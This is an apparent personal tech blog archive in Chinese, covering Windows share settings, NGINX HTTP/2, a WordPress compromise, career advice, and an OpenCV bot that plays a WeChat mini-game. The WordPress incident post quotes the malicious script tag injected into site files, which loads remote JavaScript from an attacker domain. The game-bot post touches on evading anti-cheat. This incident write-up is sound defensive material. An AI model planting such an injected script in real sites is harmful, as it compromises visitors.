作者归档:Shelwee

Windows 文件共享隐藏没有权限访问的文件夹

这两天在 Windows Server 上搭建域控制器,并提供文件共享服务。

文件共享开始服务后,遇到一个问题:有些文件夹并没有配置用户权限,用户却可以看得到。

例如有个共享文件夹 A,A 里面有两个文件夹,分别是 B 和 C,B 文件夹对用户开放读写,C 文件夹不开放读写。此时出现的问题是访问 C 文件夹,提示没有权限。但期望的结果是用户看不到 C 文件夹,对于没有权限操作的目录,隐藏是最好的方式。

对于这个问题尝试了很久,好在终于解决了。解决步骤如下:

点击文件和存储服务
在正在共享的项目上右键,属性
勾选启用基于存取的枚举
  1. 打开 Windows Server 上的服务器管理器
  2. 点击文件和存储服务
  3. 点击共享
  4. 在正在共享的项目上右键,属性
  5. 点击设置
  6. 勾选启用基于存取的枚举
  7. 点击确定

出现该问题的原因是一开始配置文件共享的时候,没有注意到启用基于存取的枚举这个选项,基本都是使用默认的选项,所以导致这一问题。由此提醒自己,以后在做配置的时候,一定要看清楚每个选项,避免出现此类问题。

THE END

NGINX 启用 HTTP/2

HTTP/2 有什么优点?

HTTP/2 简称 h2, 基于 SPDY 演进。与 HTTP/1.1 相比,HTTP/2 最直观最明显的特点就是速度变快了。另外,目前绝大多数浏览器都支持 HTTP/2,因此让网站支持 HTTP/2 是势在必行了。

HTTP/2 浏览器支持列表

目前绝大部分网站都启用了 HTTP/2,比如我们常用的 Google, 知乎,微信,微博等。

NGINX如何配置启用?

NGINX 启用 HTTP/2 很简单,只需在配置文件的 listen 处加入 http2 即可。

listen 443 ssl http2;
listen [::]:443 ssl http2;

修改完成后,重新加载或者重启 NGINX,顺利的话刷新浏览器就可以发现已经成功启用了。

nginx -s reload

HTTP/2 启用失败问题排查

如果重启后发现没有生效,则需要排查一下以下三点:

  • NGINX 版本是否>= 1.9.5
  • NGINX 配置参数是否有 –with-http_v2_module
  • OpenSSL 版本是否 >= 1.0.2

只需查询 NGINX 版本就可以知道是否满足以上三点。

user@host#: nginx -V
nginx version: nginx/1.16.0
built by gcc 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.4)
built with OpenSSL 1.0.1f 6 Jan 2014 (running with OpenSSL 1.0.2n  7 Dec 2017)
TLS SNI support enabled
configure arguments: --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --user=nginx --group=nginx --with-compat --with-file-aio --with-threads --with-http_addition_module --with-http_auth_request_module --with-http_dav_module --with-http_flv_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_mp4_module --with-http_random_index_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-mail --with-mail_ssl_module --with-stream --with-stream_realip_module --with-stream_ssl_module --with-stream_ssl_preread_module --with-cc-opt='-g -O2 -fPIE -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -fPIC' --with-ld-opt='-Wl,-Bsymbolic-functions -fPIE -pie -Wl,-z,relro -Wl,-z,now -Wl,--as-needed -pie'

可以看到,我安装的 NGINX 版本只有第三点不满足。其实无论哪一点,只需升级 NGINX 版本就都能解决。

Ubuntu 升级 NGINX 版本

更新 apt 源到文件

echo "deb http://nginx.org/packages/ubuntu `lsb_release -cs` nginx" \
    | sudo tee /etc/apt/sources.list.d/nginx.list

更新命令

user@host#: sudo apt update

W: GPG error: http://nginx.org/packages/ubuntu bionic InRelease: The following signatures were invalid: EXPKEYSIG ABF5BD827BD9BF62 nginx signing key <signing-key@nginx.com>

更新出现这个错误,可能是由于 NGINX 的 apt-key 过期了。执行以下命令验证看看:

user@host#: sudo apt-key list
/etc/apt/trusted.gpg
--------------------
pub   rsa2048 2011-08-19 [SC] [expired: 2016-08-17]
      573B FD6B 3D8F BC64 1079  A6AB ABF5 BD82 7BD9 BF62
uid           [ expired] nginx signing key <signing-key@nginx.com>

可以看到 [expired: 2016-08-17] 说明在 2016 年时过期了。现在更新一下 NGINX apt-key:

wget https://nginx.org/keys/nginx_signing.key -O - | sudo apt-key add -

再次执行 sudo apt-key list 可以发现,过期时间变成几年后了。接下来就可以继续升级 NGINX:

sudo apt update
sudo apt install nginx

升级完成后,刷新浏览器就可以发现网站已经启用 HTTP/2 了。

如何查看网站是否启用了 HTTP/2 ?

1.chrome 插件查看:HTTP/2 and SPDY indicator(网站已启用的话,图标显示为蓝色。)

2.直接通过 chrome F12 打开 DevTools -> Network -> protocol,显示 h2 即为已启用。

参考链接

THE END

年轻技术人应该讲点「武德」

工作了这么多年,见识了各种各样做技术的人。总结下来,大部分年轻程序员都不擅长沟通,略显浮躁,甚至一度让我怀疑这是年轻程序员的通病。

近期几次在与第三方外部团队沟通的过程中,问题凸显。

简单说说经过。

项目中需要用到第三方的部分服务,所以他们提供了几份文档。无可厚非,文档写的够详细,不出问题的话,基本上是涉及不到沟通的。

但问题恰恰出在文档上。我个人的习惯是问别人问题时,自己都会查看多遍文档,甚至模糊的地方都会先搜索了解一下。这番操作下来,接口依然跑不通。只能用着谦卑的语气在群里咨询沟通,结果对方技术一看,立马说我提交的参数没几个是对的,让我自己去看文档。

我…当时瞬间感觉自己被当成了毫无经验的菜鸟,并且对方可能是工作年限比我小的程序员。要知道这份文档我已经看了不下五遍。

后面他们自查后发现是文档写错了。当然写这些并无他意,只是想说明大部分技术人听到不同的声音时,第一反应总是会觉得肯定不是我的问题,而是别人的问题。

这种盲目自信应尽量避免。

首先有这种想法的时候,别人与你沟通都会觉得很难,总感觉反馈的声音听不进去。

其次,技术大牛都是从菜鸟成长的,技术再牛也不应成为盲目自信的资本。实际上我所知道的一些真正的技术大牛都是很好沟通的。

或许技术人都有一段需要经过时间的沉淀才能进化的过程,但我还是希望年轻的技术人看到后能避免这个问题。

同时也警醒自己吧。

THE END

网站被黑之后应该做的几件事

3 月 20 日早上收到邮件提醒,网站突然新增了一个注册用户。然后访问网站发现已经挂掉。

阿里云后台提示有一个网站后门,木马文件路径是 wp-content/uploads/YouxrioS/t_HUZiTkl2_s,可以断定网站已经被黑了,并且已经留下后门。我想可能是因为网站大半年都没有更新内容,黑客大哥提醒我该更新了。

用 SSH 还能远程登录到服务器,并且 root 密码,还有一般用户的密码都没改掉,说明黑客还没成功通过 webshell 提权。 服务器并未受到影响,唯一受到影响的是 WordPress 网站。进入网站目录可以发现很多 index.php 都被感染了,首行都被注入了下面的代码:

<script type='text/javascript' async src='https://setforspecialdomain.com/in2herg42t2?type=in2&frm=scr&'></script>

删除后门,简单恢复被感染的文件后,首页已经可以正常访问,但不能正常加载 css。后台登陆被强制跳转到 https://getmyfreetraffic.com/n90sab35473/wp-login.php。

看样子应该是 WordPress 地址与站点地址被篡改了。

解决办法:

1.先查询 siteurl、home 的值。

2.可以看到 siteurl 已经被篡改,改回来即可,确保 siteurl、home 的值都是正常的。

update wp_options set option_value = 'https://www.shelwee.com' where option_name = 'siteurl';

3.安全起见,还是应该所服务器上相关的密码都修改一下。比如:服务器 root 用户密码,MySQL 密码, FTP 密码, WordPress 网站后台密码等。

4.定时备份,防止最坏的事情发生。

5.升级 WordPress 、插件、主题到最新版本。

原因分析

经过排查,应该是之前安装的 Easy WP SMTP v1.3.9 这个插件的锅。这个版本含有一个 0DAY 漏洞允许未经身份验证的用户修改 WordPress options 或在其他恶意操作中注入和执行代码。

如果你也是使用这个版本的 Easy WP SMTP 插件,请尽快升级到最新版本或者停用。

除此之外,还应该删除后台可疑注册用户,并且修改你在 Easy WP SMTP 插件中配置的邮箱密码,很可能已经泄漏了。

参考

1.https://blog.nintechnet.com/critical-0day-vulnerability-fixed-in-wordpress-easy-wp-smtp-plugin/

THE END

给计算机专业新生的五点建议

时光荏苒,转眼我都已经毕业五年了。如果从现在的认知角度来分析自己在大学的四年,会觉得自己当时很蠢,没有充分利用在学校近四年的黄金时间。

现在恰好临近入学季,所以你如果打算毕业后从事与互联网技术相关的行业,那么我建议你详细看看我对大学四年的「复盘」。

1.尽早确定目标

如果能回到大一,我一定会先让自己想好毕业后要做什么工作。

尽早确定毕业后要从事的行业,这很重要,只有确定了一个大目标,你才能保持在这个车道上不偏移。如果你对自己的专业没有兴趣,那么请一定要尽快转专业,千万别浪费了四年的时间。

很可惜的是我到大二才逐渐想明白自己毕业后想做什么,但同时也很庆幸当时自己选择了计算机这个专业,因为我对编程是感兴趣的。所谓兴趣是最好的老师,只有感兴趣,你才能学进去。而对于工作来说,只有感兴趣,你才能保持热情。

其次计算机专业就业方面也是很灵活的,可以硬件,可以软件,可以网络,可以运营,甚至只要你有兴趣,非计算机专业也无妨,你总能在互联网行业找到一席之地。所以只要你定下了目标,就可以朝着这个目标不断地修正方向。

2.学好基础课程

虽然大学学的课程在毕业后很少用到,但我还是建议你一定要学好。比如现在大火的人工智能,如果你在大学没有学好线性代数,概率论,高等数学等课程的话,现在入门门槛就比较高,首先就得恶补数学基础。

乔布斯在大学时代偶然间上了书法课,学到了衬线和无衬线两种字体,以及如何改变字母间的间距使其好看。在当时,乔布斯自己也认为学的这些东西,在将来的人生中也许并没有什么实际用途。然而,过了十年他就将学到的字体引入到了 Macintosh 中。如果没有当时的偶然,也许也就没有后来在计算机中看到的字体。

其他一切知识也是同样的道理,也许短期内感觉没有用处,但长期来看,总有一个「奇点」会把这些知识都串联起来。

3.精通一门语言

如果能回到大一,我一定会让自己精通一门语言,不出意外我应该会选择 Java。

因为 Java 是一门不错的语言,也因为从 09 年开始,Android 市场进入指数级增长。Android 开发对于当时来说,是极其稀缺的。当然,这只是针对 09 年来说的,现在已经不适用了,毕竟已经过了这么多年。

现在你也应该精通一门语言,但不是非得 Java 不可。只要你精通了一门语言之后,你在学习新的语言时,虽然做不到无缝衔接,但至少会让你游刃有余,学起来更快。从现在的技术发展情况来看,未来 AI 应该更热门,可以考虑 C++ 、Python。

程序员圈子经常流传着各种鄙视链,当然包括语言的鄙视链。这个我觉得当笑话看看就好了,不必在意,每一门语言都有大神级的人物存在。只要能完成需求,它就是一门好的语言。

4.善用搜索引擎

学习过程中,肯定会遇到许多问题。但通常你遇到的问题,90% 以上都能通过搜索找到答案。这时候应该先通过搜索去寻找解决方案,只有搜索不到相关的解决方案时,再考虑咨询比你厉害的大牛。 尽量避免自己不先去搜索找答案,就直接丢个问题去问大牛怎么解决。因为很多大牛都很反感这种情况,这么简单的问题自己都懒得去搜索。

所以务必要多搜索,会搜索。

这里介绍三个常用的搜索技巧:

1.从指定网站搜索关键词

如从 stackoverflow 网站搜索关于jvm相关的问题,输入 「site:stackoverflow.com jvm」 即可。

2.搜索指定文件类型

假如你要搜索一本《三体》的 PDF 类型的书籍,则搜索 「filetype:pdf 三体」。

3.从指定位置搜索

  • intitle: 从网页标题中搜索。例如:「intitle: jvm」
  • intext: 从网页正文中搜索。例如:「intext: jvm」
  • inurl: 从网页链接中搜索。例如:「inurl: jvm」

5.Side Project

动手实践是检验你是否真正掌握一门技术的唯一途径,理论再好,等你真正开始动手实践的时候就会发现还有很多意料之外的问题。

所以我极力推荐你在学习的同时,动手创造一个属于你自己的 Side Project。由项目驱动学习,你不仅能将学习的知识转化成作品,毕业时,你的 Side Project 更可以成为你求职的敲门砖。

比如你喜欢写博客,那么你可以开发一个 CMS,在自己开发的系统里写,你就会自然而然地不断优化这个项目,最终变成一个不错的 Side Project。当然最好的 Side Project 还是你自己想做的,并且能实际解决一些问题。重复造轮子也不是不行,轮子造的多了,你就会产生自己的想法了。


互联网技术的发展总是日新月异,不断推陈出新,所以每个准备从事技术岗的人都应当对新技术保持一定的敏感,不断提升自己。

时间对每个人都是公平的,在当下无法做出最好的选择时,就只能将来投入双倍的时间来弥补。

一万年太久,只争朝夕。

THE END

「深入人心」的 Keep 跑步机

Keep 在 3 月 19 日发布了旗下第一款智能跑步机,作为一个快两年的 Keep 用户,又碰巧在这个时间需要这么一款产品,于是我就顺理成章地在发布当天成为了首批用户。

1.Keep 跑步机的亮点

简单说说这款跑步机吸引我的地方:

  1. 外观相对简洁。外观能给人最直观的感受,Keep 跑步机的外观对比市场上的绝大多数竞品来说,给我留下了深刻的印象。
  2. 占用空间小。这点对于小空间来说至关重要,Keep 跑步机可以说做到极简了。
  3. 可玩性高。Keep 跑步机可单独连接 WIFI,并与手机 APP 联合使用。包括:虚拟路线、跟随课程自动变速以及数据统计。

虚拟路线图

然而用到现在已经快三个月了,Keep 跑步机的槽点也是深入人心。

2.Keep 跑步机的

槽点一:
品控是否做到位?第二次开跑的时候,跑步机的马达就出现了异常噪音。

槽点二:
售后维修不专业。与客服联系后,安排了第三方的维修人员。据说 Keep 有对维修人员统一培训过,但还是出现了一些看起来很不专业的情况。比如内部固定电线的固定点,维修人员都直接剪掉,最后又用 502 将其固定,而这个操作本身是可以避免的。

槽点三:
拆卸与螺丝问题。固定跑步机马达的螺丝尺寸有点尴尬,Keep 官方寄来的螺丝刀加上维修人员自带的工具都无可奈何,最后用刀片配合前后持续了一周左右才成功换上新马达。

槽点四:
贴纸问题。由于换内部零件需要将底部的几颗螺丝拆掉,而螺丝藏在贴纸里面,这就导致了最后还原的时候,贴纸贴不上了,已经没有粘性了。

槽点五:
噪音与晃动。跑步过程中,跑步机会轻微晃动,并且声音在也有点大。

吐槽使人进步,虽然槽点满满,但是最后大部分问题都通过售后得到了解决。Keep 跑步机至少目前还是最接近我心目中一款出色跑步机的标准。

3.跑步机的未来

后期产品迭代升级如果能够加入坡度控制,再配合虚拟路径,让用户身临其境的在任何地方跑步,这样的体验更能吸引到我。

这里做个大胆的预测,未来单一功能的跑步机将会消失,最终会被 VR + 跑步机 结合的方式取代。这种集娱乐健身于一体的跑步机才能更容易被大众所接受,这样的方式是不是更符合 Keep Slogon 所说的 「自律给我自由」 。

THE END

2018 GDS 之旅

上周有幸得到了由阿里云赠送的 GDS 2018 峰会门票,这么难得的机会必然不能错过。

GDS(Global Digital Summit)2018全球数字峰会,围绕互联网数字领域及行业热点展开,通过大会分享、论坛对话、项目路演等会议模块,打造数字领域互联互通、共享共治、共创共赢的国际化分享、社交平台。

GDS 主会场

早上是主会场,根据众多大佬分享提炼成以下几点:

  1. 数字经济增长的比例越来越大,将在2030年达到全国GDP的50%;
  2. 互联网时代域名对企业来说很重要,而移动互联网时代域名仍然重要,并不会过时;
  3. 百度未来流量将会向熊掌号倾斜,今年这个比例将达到50%,到了2020年这个比例将会上升到80%,所以未来将不在需要SEO;
  4. 区块链已经上升至国家战略,将在未来20-30年深入到各行各业;
  5. 短视频的火热带动了大多数新媒体从图文音频到短视频的升级尝试。

区块链、新媒体与域名

下午则分为三个分会场同时进行,分别为区块链峰会、新媒体峰会以及域名峰会。

比较戏剧性的是参会人数很好地展现了当前三个行业各自的发展趋势。

区块链刚开始人数众多,而随着会议的进行人数陆续减少。正如区块链目前的火热,以及各种美好的应用场景。然而目前区块链技术存在着一些问题,限制了它的发展,比如吞吐量。一旦解决了这个问题,应用场景可能将呈爆发式增长。

新媒体会场一开始就呈现出火热的人气,现场座无虚席,甚至后排还站满了人。新媒体近几年的发展态势呈指数增长,微信公众号、头条号、百家号、熊掌号以及各种短视频类应用衍生出的自媒体,长期吸引及占用着用户的注意力。

域名峰会则是一片「荒凉」,现场为数不多的铁杆观众,代表着域名这个已经成熟透了的市场被少部分的人掌握着。大多数优质的域名早已被少部分人所抢占,后来者只能是花重金买入。

很遗憾下午由于时间关系没有听完后面的分享,但同时也很幸运的参加了这次峰会,学习了业内大佬们对于各自所在行业发展的看法,这就够了吧,不虚此行。

THE END

Processing 导出视频的两种方式

 1.前言

Processing 作为一款创意编程工具,不仅可以很方便的用来控制视频,比如用来 控制播放透明通道的视频,也可以用它来编写一些酷炫的效果,然后通过程序生成视频。

Processing 生成视频或者说录制视频,目前主要有两种方式,下面谈谈两种方式的使用方法及区别。

2.视频导出方式

a.使用 Movie Maker 导出

Movie Maker 是 Processing IDE 自带的一个视频合成工具,可以根据需要设置序列帧图片以及音频,然后生成视频。

优点

  • 有操作界面、使用简单,是一个独立的工具软件。

缺点

  • 没有提供相关接口,不能在 Processing 程序中集成开发。

使用步骤

需要提供序列帧图片。在 Processing 中用自带导出图片的 API 生成序列帧图片:

saveFrame(); //保存序列帧图片

有了序列帧图片就可以打开 Processing -> 工具 -> Movie Maker,然后根据文字介绍操作。

b.使用 VideoExport 导出

VideoExport 是 Processing 的一个第三方库,下载后放入相应位置即可使用。

优点

  • 可以方便的在程序中集成开发,可以根据需求灵活的控制导出时机和时长。

缺点

  • 依赖 ffmpeg,所以使用前需要先安装。

步骤

import com.hamoid.*;

VideoExport videoExport;

// demo,录制会自动结束

float movieFPS = 30;
float soundDuration = 10.03; // in seconds

void setup() {
    size(600, 600);

    videoExport = new VideoExport(this);
    videoExport.setFrameRate(movieFPS);
    videoExport.setAudioFileName("test-sound.mp3");
    videoExport.startMovie();
}

void draw() {
    background(#888888);
    rect(frameCount * frameCount % width, 0, 40, height);
    videoExport.saveFrame();
    if(frameCount &gt; round(movieFPS * soundDuration)) {
        videoExport.endMovie();
        exit();
    }
}

3.小结

工具/库 优点 缺点
Movie Maker 有操作界面、使用简单,是一个独立的工具软件。 没有提供相关接口,不能在 Processing 程序中集成开发。
VideoExport 可以方便的在程序中集成开发,可以根据需求灵活的控制导出时机和时长。 使用前需要先安装 [ffmpeg](http://ffmpeg.org/)。

通过表格比较可以很清楚的得知两种方式的使用场景并不一样,并不能互相取代,而是一种互补的关系。因此具体选择哪一个使用,完全可以根据业务需求来定。

THE END

如何用 Java + OpenCV 实现自动玩跳一跳?

前言

自从微信更新到 6.6.1 版本之后,微信小游戏也随之发布。跳一跳成了第一批小游戏的代表作,到处刷屏。而在程序员的朋友圈里,则是各种刷分,各种版本的算法实现自动玩刷分。

秉着学习 OpenCV 的心态,我也用 Java + OpenCV 实现了一个版本。

目标分解

跳一跳这个小游戏规则很简单,就是根据触摸屏幕的时间长短决定跳跃的距离。
所以整个程序可以分解为以下 6 步,循环执行:

  1. 获取跳一跳游戏画面
  2. 找到起点,即跳一跳中的紫色小人
  3. 找到终点,即小人要跳跃的下一个目标的中点
  4. 根据欧式距离公式计算起点与终点的距离
  5. 根据得出的距离计算触摸时间
  6. 用 adb 工具模拟触摸屏幕

准备工作

1.熟悉 ADB 命令

adb shell screencap -p xxx //截屏
adb pull xxx //从设备复制资源到电脑上
adb shell input swipe x1 y1 x2 y2 time //模拟从(x1,y1)滑动到(x2,y2),滑动时间为time(ms)

2.开发环境

本文基于 Java 1.8.0 与 OpenCV 3.4.0 开发。

3.欧式距离公式

编程实现

1.找起点

//载入跳一跳小人图片
Mat template = Imgcodecs.imread("i.jpg");
//载入屏幕截图
Mat source = Imgcodecs.imread("1.png");
//新建 result 用于保存模板匹配结果
Mat result = Mat.zeros(source.rows(),source.cols(),CvType.CV_32FC1);
//在模板图像和输入图像之间寻找匹配,获得匹配结果图像 result
Imgproc.matchTemplate(source, template, result, Imgproc.TM_CCOEFF_NORMED);
//在给定的矩阵中寻找最大和最小值(包括它们的位置)
MinMaxLocResult minMaxLocResult = Core.minMaxLoc(result);
//minMaxLocResult 返回的 maxLoc 为匹配的模板在截图中的左上位置,所以可以得到起点的位置
Point startPoint = new Point(minMaxLocResult.maxLoc.x + template.width() / 2, minMaxLocResult.maxLoc.y + template.height() - 20);

如图,minMaxLoc 方法返回的 maxLoc 点为匹配到目标的左上点。

2.找终点

先判断下一个目标是否有小白点,有的话按照找起点的方法模板匹配白点的坐标,即可得到终点。

如果找不到白点,则先利用高斯模糊消除噪声,再运行边缘检测算法,然后从上到下遍历得到上边缘的顶点与下边缘的顶点,从而可以得出终点。

//载入小白点图片
Mat template_white_dot = Imgcodecs.imread("white_dot.jpg");
//dot_result 用于保存白点模板匹配结果
Mat dot_result = Mat.zeros(source.rows(),source.cols(),CvType.CV_32FC1);
Imgproc.matchTemplate(source, template_white_dot, dot_result, Imgproc.TM_CCOEFF_NORMED);
MinMaxLocResult minMaxLocDotResult = Core.minMaxLoc(dot_result);
//判断模板匹配值,如果大于 0.7 就相信存在白点,即可直接获取目标点
if (minMaxLocDotResult.maxVal > 0.7) {
    System.out.println("found white dot.");
	targetPoint.x = minMaxLocDotResult.maxLoc.x + template_white_dot.width() / 2;
	targetPoint.y = minMaxLocDotResult.maxLoc.y + template_white_dot.height() / 2;
} else {
	System.out.println("white dot not found.");
	//result2 用于存放高斯模糊结果
	Mat result2 = Mat.zeros(source.rows(),source.cols(),CvType.CV_32FC1);
	//result2 用于存放边缘检测结果
	Mat result3 = Mat.zeros(source.rows(),source.cols(),CvType.CV_32FC1);
	//使用高斯平滑滤波器降噪
	Imgproc.GaussianBlur(source, result2, new Size(5, 5), 0);
	//运行 Canny 算子
	Imgproc.Canny(result2, result3, 1, 10);
	//把小人在图中抹掉,防止高度过高对结果产生影响
	clearTemplateRect(result3, new Rect(minMaxLocResult.maxLoc, p));
	//遍历边缘像素,计算终点
	targetPoint = findTargetPoint(result3);
}

3.计算距离

//传入起点和终点,根据欧式距离公式计算距离
public static double getDistance(Point s, Point e){
	return Math.sqrt(Math.pow(s.x-e.x, 2) + Math.pow(s.y-e.y, 2));
}

4.计算时间

//1.35 这个参数适合1080*1920分辨率,其他分辨率需要调整。
int time = getDistance(startPoint, targetPoint) * 1.35;

5.模拟触屏

int x1 = source.width() / 3 * 2; //取图片宽度的 2/3
int y1 = source.height() / 3 * 2; //取图片高度的 2/3
int x2 = x1 + random.nextInt(10); //随机模拟移动10像素内
int y2 = y1 + random.nextInt(10); //随机模拟移动10像素内
cmd("adb shell input swipe "+ x1 + " " + y1 + " "+ x2 +" " + y2 + " " + time);

最后

在与微信防作弊的不断博弈中,算法实现也需要不断更新,需要更加真实地模拟人为操作,否则刷到很高的分也会被微信拒绝。截止目前,这个版本已经可以跑得很高分了。

当然,这篇文章的目的并不是为了宣传刷分作弊,只是作为我这次学习实践的一次记录。而通过这次的实践,对 OpenCV 有了初步了解,相信以后有机会用在更有趣的场景。

如需完整项目及代码,关注公众号「现代晓说」回复【跳一跳】获取。

THE END

2018你好,2017再见

1.前言

也许是随着心智的成熟,也许是将近而立之年而产生的一种错觉,总觉得时间过得很快。转眼又到了该给自己一个交代的时候了,也该梳理一下自己在过去一年的「得与失」。

2.再见2017

2016 年的这个时候立下要在 2017 实现的小目标,如今多多少少肯定有几个没能完成的,比如写作。2016 年的计划是在 2017 年一周写一篇,而实际上却只写了八篇,平均下来一个月一篇都没能达到。这是 2017 年度我做得相对比较不好的一件事。

而 2017 年度对我来说比较满意的事情就是:

  • 与 2016 年一样,又坚持骑行了一年。(一个月大约 200 公里)
  • 健身从 2017 下半年开始,坚持了 12 周,后面由于天气问题停止,计划等到春末夏初再开始。
  • 一天背 20 个单词从 2017 年 11 月中旬开始,至今坚持了 49 天。
  • 2017 年已经坚持看书 24 周了,阅读量相比去年有所增加。

因此坚持就成为了我 2017 的年度关键词,以坚持来告别 2017,用学习来迎接 2018。

3.你好2018

最近几年「终身学习」这个词像智能推荐似的常出现在我的视野里,这个时代变化得太快了,我希望自己能在风口中抓住机会,迎难而上,而不是因为所谓的「中年危机」而迷茫。

对于「终身学习」这个词我深有感触。想学的东西很多,想做的事情更多,所以努力让自己更加自律。

2018 我的计划是:

  • 至少写 12 篇文章
  • 学习 OpenCV
  • 入门机器学习

计划学习 OpenCV 与机器学习倒不是因为某一门技术的火热而跟风学习,而是之前在接触到相关的技术时就感觉很有意思,所以计划在业余时间扩展相关技术深度。

我觉得人最难能可贵的是在人生的每个阶段都知道自己的目标是什么,并为之奋斗。 我希望能成为这样的人。

你可能还想看:

THE END